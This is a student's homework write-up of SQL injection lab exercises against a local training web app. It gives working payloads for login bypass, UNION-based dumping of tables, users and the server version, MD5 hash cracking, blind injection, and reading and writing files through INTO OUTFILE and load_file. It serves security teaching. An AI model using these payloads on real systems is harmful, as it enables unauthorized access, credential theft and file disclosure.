Cybersecurity

Homework 1

Ari Feiglin

Exercise 1.1

Login through alice’s account.

We use the username `alice’) --` . Since the SQL query is of the form `SELECT ... WHERE (username = ’username’) AND (password = ’password’)`, by inputting this username, it becomes

```
select ... where (username = ’alice’) -- ’) and (password = ’’)
```

which will be interpreted as

```
select ... where (username = ’alice’)
```

ignoring the restrictions on password.

Exercise 1.2

Using the search engine, find information about the online users, their hosts, and the version of the server.

We want information about the database itself, so we can do

```
’ union select null, table_name, column_name, null, null from information_schema.columns; --
```

The first `null` is because the search doesn’t print the first column (the id). We scroll down and see the table `users`. We get the following fields: `id, username, password, fname, description`. We care only about username, and so we run the query

```
’ union select null, username, null, null, null from users; --
```

And we get the online users. The version of a server is stored in a variable `@@version`, so we just do

```
’ union select null, @@version, null, null, null from users; --
```

and we see that the version is 8.0.23.

Exercise 1.3

Using the search engine, find Alice’s password.

The hash of Alice’s password is `c93239cae450631e9f55d71aed99e918`, using a tool to reverse the md5 hash, we see that the password is `alice1`.

Exercise 1.4

Using the search engine, find the hidden table.

The two tables in sqlitraining are `users` and `products`.

Exercise 1.5

Using blind sql, find the single table within the database `secure` and find how many values are in it.

We want to perform the query

```
select null, table_name, table_schema, null, null from
                                  information_schema.tables where table_schema=’secure’
```

So we use the following query:

```
http://localhost:8000/blindsqli.php?user=’ union select null, table_name, table_schema,
                   null, null from information_schema.tables where table_schema=’secure
```

We don't close the last quotation because that is done by the query itself. This results in the table name `789b05678e7f955d2cf125b0c05616c9`. To see how many values are in it, we will count the number of entries in the id column. This means we want to run the query

```
select null, count(id), null, null, null from secure.789b05678e7f955d2cf125b0c05616c9
```

We need to somehow close the quotation, so we enter

```
http://localhost:8000/blindsqli.php?user=' union select null, count(id), null, null, null
                                              from secure.789b05678e7f955d2cf125b0c05616c9
                                                union select * from users where username='
```

The final row's purpose is to close the quotation, it does nothing else. The result of this query is 1, so there is a single entry.

Exercise 1.6

Using OS sql, write `Hello, world` into `/home/hello_world.txt`.

We will use the query

```
localhost:8000/os_sqli.php?user=' union select 'Hello, world', null, null, null, null
                                                 into outfile '/home/ari/hello_world.txt
```

Exercise 1.7

Using OS sql, read the contents of the file `/home/ari/flag.txt`.

We will use the query

```
http://localhost:8000/os_sqli.php?user=' union select null, load_file('/home/ari/flag.txt'),
                                                                           null, null, null
                                                 union select * from users where username='
```